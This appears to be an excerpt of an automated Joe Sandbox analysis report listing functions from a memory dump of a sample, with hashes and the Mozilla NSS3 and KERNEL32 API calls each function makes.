Opcode ID: ac0e0af08cd543c648a4b313ceabee7f30d3e1759f71ea7d1d9ac86f17e69a0a
Instruction ID: fc37cf0e36bf5e1e5987e9351638d5c0c3a5a8f9398278b95fc6aea4fe114722
Opcode Fuzzy Hash: ac0e0af08cd543c648a4b313ceabee7f30d3e1759f71ea7d1d9ac86f17e69a0a
Instruction Fuzzy Hash: 1C41D675A042429FDF10CF99CC40BAABFB1AF85308F15C468D8595BB52E732E919C7A2

Function 6C5BCC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C5BCD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C5BCE16
PR_SetError.NSS3(00000000,00000000), ref: 6C5BD079

Part of subcall function 6C61C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C61C2BF

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: fedea37d3664a58c2e3b864250054932b88de096e4ba54aadbc26fe76f3ecbc2
Instruction ID: a6c918cf8b5887e41399d0efa1e08f8ee3c65c366c7ccc7d99886b1c989ff518
Opcode Fuzzy Hash: fedea37d3664a58c2e3b864250054932b88de096e4ba54aadbc26fe76f3ecbc2
Instruction Fuzzy Hash: 5AC19CB5A002199FDB20CF24CC90BDABBB4BF48318F1441A8E948A7741E775EE95CF94

Function 6C572C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(74FD6F80), ref: 6C572C5D

Part of subcall function 6C5D0D30: calloc.MOZGLUE ref: 6C5D0D50
Part of subcall function 6C5D0D30: TlsGetValue.KERNEL32 ref: 6C5D0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C572C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C572CE0

Part of subcall function 6C572E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C572CDA,?,00000000), ref: 6C572E1E
Part of subcall function 6C572E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C572E33
Part of subcall function 6C572E00: TlsGetValue.KERNEL32 ref: 6C572E4E
Part of subcall function 6C572E00: EnterCriticalSection.KERNEL32(?), ref: 6C572E5E
Part of subcall function 6C572E00: PL_HashTableLookup.NSS3(?), ref: 6C572E71
Part of subcall function 6C572E00: PL_HashTableRemove.NSS3(?), ref: 6C572E84
Part of subcall function 6C572E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C572E96
Part of subcall function 6C572E00: PR_Unlock.NSS3 ref: 6C572EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C572D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C572D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C572D3F
free.MOZGLUE(00000000), ref: 6C572D73
CERT_DestroyCertificate.NSS3(?), ref: 6C572DB8
free.MOZGLUE ref: 6C572DC8

Part of subcall function 6C573E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C573EC2
Part of subcall function 6C573E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C573ED6
Part of subcall function 6C573E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C573EEE
Part of subcall function 6C573E60: PR_CallOnce.NSS3(6C6D2AA4,6C5D12D0), ref: 6C573F02
Part of subcall function 6C573E60: PL_FreeArenaPool.NSS3 ref: 6C573F14
Part of subcall function 6C573E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C573F27

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 391978151e74225038e476b29732d03a925ee6bc5c6becfb5467f880fc84771b
Instruction ID: 03e06f216011401d61c1478c164756d2fee9729b7ba6400eaea830b83775700c
Opcode Fuzzy Hash: 391978151e74225038e476b29732d03a925ee6bc5c6becfb5467f880fc84771b
Instruction Fuzzy Hash: 9951C071A04211DBEB20DF69DD89B5B77E5EF94348F14082CEC5983650E731E8968BA2

Function 6C58E400 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000001,00000000,?,?,6C593F23,?), ref: 6C58E432
EnterCriticalSection.KERNEL32(?,?,00000001,00000000,?,?,6C593F23,?), ref: 6C58E44F

Part of subcall function 6C592C40: TlsGetValue.KERNEL32(#?Yl,?,6C58E477,?,?,?,00000001,00000000,?,?,6C593F23,?), ref: 6C592C62
Part of subcall function 6C592C40: EnterCriticalSection.KERNEL32(0000001C,?,6C58E477,?,?,?,00000001,00000000,?,?,6C593F23,?), ref: 6C592C76
Part of subcall function 6C592C40: PL_HashTableLookup.NSS3(00000000,?,?,6C58E477,?,?,?,00000001,00000000,?,?,6C593F23,?), ref: 6C592C86
Part of subcall function 6C592C40: PR_Unlock.NSS3(00000000,?,?,?,?,6C58E477,?,?,?,00000001,00000000,?,?,6C593F23,?), ref: 6C592C93

TlsGetValue.KERNEL32(?,00000001,00000000,?,?,6C593F23,?), ref: 6C58E494
EnterCriticalSection.KERNEL32(?,?,00000001,00000000,?,?,6C593F23,?), ref: 6C58E4AD
PR_Unlock.NSS3(?,?,?,00000001,00000000,?,?,6C593F23,?), ref: 6C58E4D6
PR_Unlock.NSS3(?,?,?,00000001,00000000,?,?,6C593F23,?), ref: 6C58E52F

Strings

#?Yl, xrefs: 6C58E409

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID: #?Yl
API String ID: 3106257965-2475275791
Opcode ID: f2eb5abfe81a6041d6dfb4cada5ffaa96044b2c2852f79b7bcba4e5c90fd7441
Instruction ID: 25d42b485db472179ffdc65d7adc9af9c09678f967ec1e95241d7d5919f17fc1
Opcode Fuzzy Hash: f2eb5abfe81a6041d6dfb4cada5ffaa96044b2c2852f79b7bcba4e5c90fd7441
Instruction Fuzzy Hash: 9F413BB8A06665CFCB00EF69D88446EBBF0FF05304F054969D8859B711E770E884CBE2

Function 6C5C2470 Relevance: 12.1, APIs: 8, Instructions: 141COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C5C2D7C,6C599192,?), ref: 6C5C248E
EnterCriticalSection.KERNEL32(02B80138), ref: 6C5C24A2
memset.VCRUNTIME140(6C5C2D7C,00000020,6C5C2D5C), ref: 6C5C250E
memset.VCRUNTIME140(6C5C2D9C,00000020,6C5C2D7C), ref: 6C5C2535
memset.VCRUNTIME140(?,00000020,?), ref: 6C5C255C
memset.VCRUNTIME140(?,00000020,?), ref: 6C5C2583
PR_Unlock.NSS3(?), ref: 6C5C2594
PR_SetError.NSS3(00000000,00000000), ref: 6C5C25AF

Part of subcall function 6C61C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C61C2BF

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: memset$Value$CriticalEnterErrorSectionUnlock
String ID:
API String ID: 2972906980-0
Opcode ID: bc42c25419fa4d94c5fc1171a2ed7fb89681a1a49843b62fadf6032e6846f8c7
Instruction ID: 9865e020666ddd369381525d86d43faf6320411430596cb912784eb2167e1172
Opcode Fuzzy Hash: bc42c25419fa4d94c5fc1171a2ed7fb89681a1a49843b62fadf6032e6846f8c7
Instruction Fuzzy Hash: 7A41E5B1F003019BEB019FB4DC987AA3774FB99308F14266CDC05DBA52F771A984C696

Function 6C5E8C10 Relevance: 10.8, APIs: 7, Instructions: 279COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C5E8C93

Part of subcall function 6C61C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C61C2BF

Part of subcall function 6C5C8A60: TlsGetValue.KERNEL32(6C5761C4,?,6C575F9C,00000000), ref: 6C5C8A81
Part of subcall function 6C5C8A60: TlsGetValue.KERNEL32(?,?,?,6C575F9C,00000000), ref: 6C5C8A9E
Part of subcall function 6C5C8A60: EnterCriticalSection.KERNEL32(?,?,?,?,6C575F9C,00000000), ref: 6C5C8AB7
Part of subcall function 6C5C8A60: PR_Unlock.NSS3(?,?,?,?,?,6C575F9C,00000000), ref: 6C5C8AD2

memset.VCRUNTIME140(?,00000000,?), ref: 6C5E8CFB
memset.VCRUNTIME140(?,00000000,?), ref: 6C5E8D10

Part of subcall function 6C5C8970: TlsGetValue.KERNEL32(?,00000000,6C5761C4,?,6C575639,00000000), ref: 6C5C8991
Part of subcall function 6C5C8970: TlsGetValue.KERNEL32(?,?,?,?,?,6C575639,00000000), ref: 6C5C89AD
Part of subcall function 6C5C8970: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C575639,00000000), ref: 6C5C89C6
Part of subcall function 6C5C8970: PR_WaitCondVar.NSS3 ref: 6C5C89F7
Part of subcall function 6C5C8970: PR_Unlock.NSS3(?,?,?,?,?,?,?,6C575639,00000000), ref: 6C5C8A0C

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockmemset$CondErrorWait
String ID:
API String ID: 2412912262-0
Opcode ID: 2477ffa3f7f41017a9e9e0ccc3f4547fe4b593b743eada994b52c281fc502cc9
Instruction ID: 6774eab876d8b3dfc01ca948cdacfe3ab1e364bf95bca0712c9557de84f7daad
Opcode Fuzzy Hash: 2477ffa3f7f41017a9e9e0ccc3f4547fe4b593b743eada994b52c281fc502cc9
Instruction Fuzzy Hash: F3B17FB0D003089FDB14CF69DC90AAEB7BAFF88308F14452ED81AA7751E731A955CB55

Function 6C5BAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C5BAB3E,?,?,?), ref: 6C5BAC35

Part of subcall function 6C59CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C59CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C5BAB3E,?,?,?), ref: 6C5BAC55

Part of subcall function 6C5D10C0: TlsGetValue.KERNEL32(?,6C578802,00000000,00000008,?,6C56EF74,00000000), ref: 6C5D10F3
Part of subcall function 6C5D10C0: EnterCriticalSection.KERNEL32(?,?,6C578802,00000000,00000008,?,6C56EF74,00000000), ref: 6C5D110C
Part of subcall function 6C5D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C578802,00000000,00000008,?,6C56EF74,00000000), ref: 6C5D1141
Part of subcall function 6C5D10C0: PR_Unlock.NSS3(?,?,?,6C578802,00000000,00000008,?,6C56EF74,00000000), ref: 6C5D1182
Part of subcall function 6C5D10C0: TlsGetValue.KERNEL32(?,6C578802,00000000,00000008,?,6C56EF74,00000000), ref: 6C5D119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C5BAB3E,?,?), ref: 6C5BAC70

Part of subcall function 6C59E300: TlsGetValue.KERNEL32 ref: 6C59E33C
Part of subcall function 6C59E300: EnterCriticalSection.KERNEL32(?), ref: 6C59E350
Part of subcall function 6C59E300: PR_Unlock.NSS3(?), ref: 6C59E5BC
Part of subcall function 6C59E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C59E5CA
Part of subcall function 6C59E300: TlsGetValue.KERNEL32 ref: 6C59E5F2
Part of subcall function 6C59E300: EnterCriticalSection.KERNEL32(?), ref: 6C59E606
Part of subcall function 6C59E300: PORT_Alloc_Util.NSS3(?), ref: 6C59E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C5BAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5BAB3E), ref: 6C5BACD7
PORT_Alloc_Util.NSS3(?), ref: 6C5BAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C5BAD2B

Part of subcall function 6C59F360: TlsGetValue.KERNEL32(00000000,?,6C5BA904,?), ref: 6C59F38B
Part of subcall function 6C59F360: EnterCriticalSection.KERNEL32(?,?,?,6C5BA904,?), ref: 6C59F3A0
Part of subcall function 6C59F360: PR_Unlock.NSS3(?,?,?,?,6C5BA904,?), ref: 6C59F3D3

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: a535ade0d955f5cc136462abe9e74b498e1526e44d6df75d111e4ce8acc30b99
Instruction ID: 10be69654268c711ba054176eecf3d969c47ffeaedf6fea9ff31040b91b3decb
Opcode Fuzzy Hash: a535ade0d955f5cc136462abe9e74b498e1526e44d6df75d111e4ce8acc30b99
Instruction Fuzzy Hash: 983129B1E006059FEB00DF69CC519AF7B76AFD4328B198128F815AB740FB31ED1587A1

Function 6C598C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C598C7C

Part of subcall function 6C639DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C680A27), ref: 6C639DC6
Part of subcall function 6C639DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C680A27), ref: 6C639DD1
Part of subcall function 6C639DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C639DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C598CB0
TlsGetValue.KERNEL32 ref: 6C598CD1
EnterCriticalSection.KERNEL32(?), ref: 6C598CE5
PR_Unlock.NSS3(?), ref: 6C598D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C598D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C598D93

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 34c977e23bf501c1c6673dc666c6eaab306ed4e401a4752edfaa54bc043e2cfe
Instruction ID: 3565ac8c08a8a1420454184ddec9ec4664955e86c22fde727e79568860f4dea0
Opcode Fuzzy Hash: 34c977e23bf501c1c6673dc666c6eaab306ed4e401a4752edfaa54bc043e2cfe
Instruction Fuzzy Hash: 2B314671A01701AFEB009F69DC407AAB7B0BF55318F24017AEA1A67B60D771A924C7D6

Function 6C5C4470 Relevance: 10.6, APIs: 7, Instructions: 82COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,6C587296,00000000), ref: 6C5C4487
EnterCriticalSection.KERNEL32(?,?,?,6C587296,00000000), ref: 6C5C44A0
PR_Unlock.NSS3(?,?,?,?,6C587296,00000000), ref: 6C5C44BB
SECMOD_DestroyModule.NSS3(?,?,?,?,6C587296,00000000), ref: 6C5C44DA
DeleteCriticalSection.KERNEL32(?,?,?,?,6C587296,00000000), ref: 6C5C4530
free.MOZGLUE(?,?,?,?,?,6C587296,00000000), ref: 6C5C453C
PORT_FreeArena_Util.NSS3 ref: 6C5C454F

Part of subcall function 6C5ACAA0: PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD,6C58B1EE,D958E836,?,6C5C51C5), ref: 6C5ACAFA
Part of subcall function 6C5ACAA0: PR_UnloadLibrary.NSS3(?,6C5C51C5), ref: 6C5ACB09

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: CriticalSection$Arena_DeleteDestroyEnterFreeLibraryModuleSecureUnloadUnlockUtilValuefree
String ID:
API String ID: 3590924995-0
Opcode ID: ada4ef800105478c7577734e724252d7f94e41f1a9698f166c6ade281c362c15
Instruction ID: 2e04ea15a22561d7667be7f43200b28aebe6799ef66515cc8c99cdc2fb354e1f
Opcode Fuzzy Hash: ada4ef800105478c7577734e724252d7f94e41f1a9698f166c6ade281c362c15
Instruction Fuzzy Hash: 823138B4A04601DFDB00AFB9C484A69BBF0FF45319F014A2DD89997B01E735E894CBC6

Function 6C588C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C588C1B
EnterCriticalSection.KERNEL32 ref: 6C588C34
PL_ArenaAllocate.NSS3 ref: 6C588C65
PR_Unlock.NSS3 ref: 6C588C9C
PR_Unlock.NSS3 ref: 6C588CB6

Part of subcall function 6C61DD70: TlsGetValue.KERNEL32 ref: 6C61DD8C
Part of subcall function 6C61DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C61DDB4

Strings

KRAM, xrefs: 6C588C8F

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 31ea1fd1895cc3f9e301ebcbaaf509b7c113eae10f9d7ac6be56d85425741b43
Instruction ID: 95941a76aceb0bc1d8cb55446453eb88107e3b1e9853a68eb4c4fb3edc22a4d0
Opcode Fuzzy Hash: 31ea1fd1895cc3f9e301ebcbaaf509b7c113eae10f9d7ac6be56d85425741b43
Instruction Fuzzy Hash: 3B2180B1A06621DFD700EF79C884559BBF4FF55308F05896ED8888B711EB31D885CB96

Function 6C576420 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000,00000001,00000000,00000000,?,?,6C575DEF,?,?,?), ref: 6C576456
CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001,00000001,00000000,00000000,?,?,6C575DEF,?,?,?), ref: 6C576476
CERT_DestroyCertificate.NSS3(00000000,?,?,?,?,?,?,6C575DEF,?,?,?), ref: 6C5764A0
PR_SetError.NSS3(FFFFE020,00000000,00000001,00000000,00000000,?,?,6C575DEF,?,?,?), ref: 6C5764C2

Strings

]Wl, xrefs: 6C576489

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: CertificateError$DestroyTemp
String ID: ]Wl
API String ID: 3886907618-4274346613
Opcode ID: 69f7a8026667b2e723c64be03bd8d7d7b0b57e47e95c4ffce8af3ad3ba9e6179
Instruction ID: 40c1b010e3e987d9c373a6ed0f4b02ed49c6f1a2a1ca89b5336764e49f19eecb
Opcode Fuzzy Hash: 69f7a8026667b2e723c64be03bd8d7d7b0b57e47e95c4ffce8af3ad3ba9e6179
Instruction Fuzzy Hash: 7621EE719003116FEB309F18DC45B6776E9AB40308F144938F519C6B51FBB2D9A4C771

Function 6C61AC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]`l,00000000,?,?,6C5F6AC6,?), ref: 6C61AC2D

Part of subcall function 6C5BADC0: TlsGetValue.KERNEL32(?,6C59CDBB,?,6C59D079,00000000,00000001), ref: 6C5BAE10
Part of subcall function 6C5BADC0: EnterCriticalSection.KERNEL32(?,?,6C59CDBB,?,6C59D079,00000000,00000001), ref: 6C5BAE24
Part of subcall function 6C5BADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C59D079,00000000,00000001), ref: 6C5BAE5A
Part of subcall function 6C5BADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C59CDBB,?,6C59D079,00000000,00000001), ref: 6C5BAE6F
Part of subcall function 6C5BADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C59CDBB,?,6C59D079,00000000,00000001), ref: 6C5BAE7F
Part of subcall function 6C5BADC0: TlsGetValue.KERNEL32(?,6C59CDBB,?,6C59D079,00000000,00000001), ref: 6C5BAEB1
Part of subcall function 6C5BADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C59CDBB,?,6C59D079,00000000,00000001), ref: 6C5BAEC9

PK11_FreeSymKey.NSS3(?,@]`l,00000000,?,?,6C5F6AC6,?), ref: 6C61AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]`l,00000000,?,?,6C5F6AC6,?), ref: 6C61AC59
free.MOZGLUE(8CB6FF01,6C5F6AC6,?,?,?,?,?,?,?,?,?,?,6C605D40,00000000,?,6C60AAD4), ref: 6C61AC62

Strings

@]`l, xrefs: 6C61AC05

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
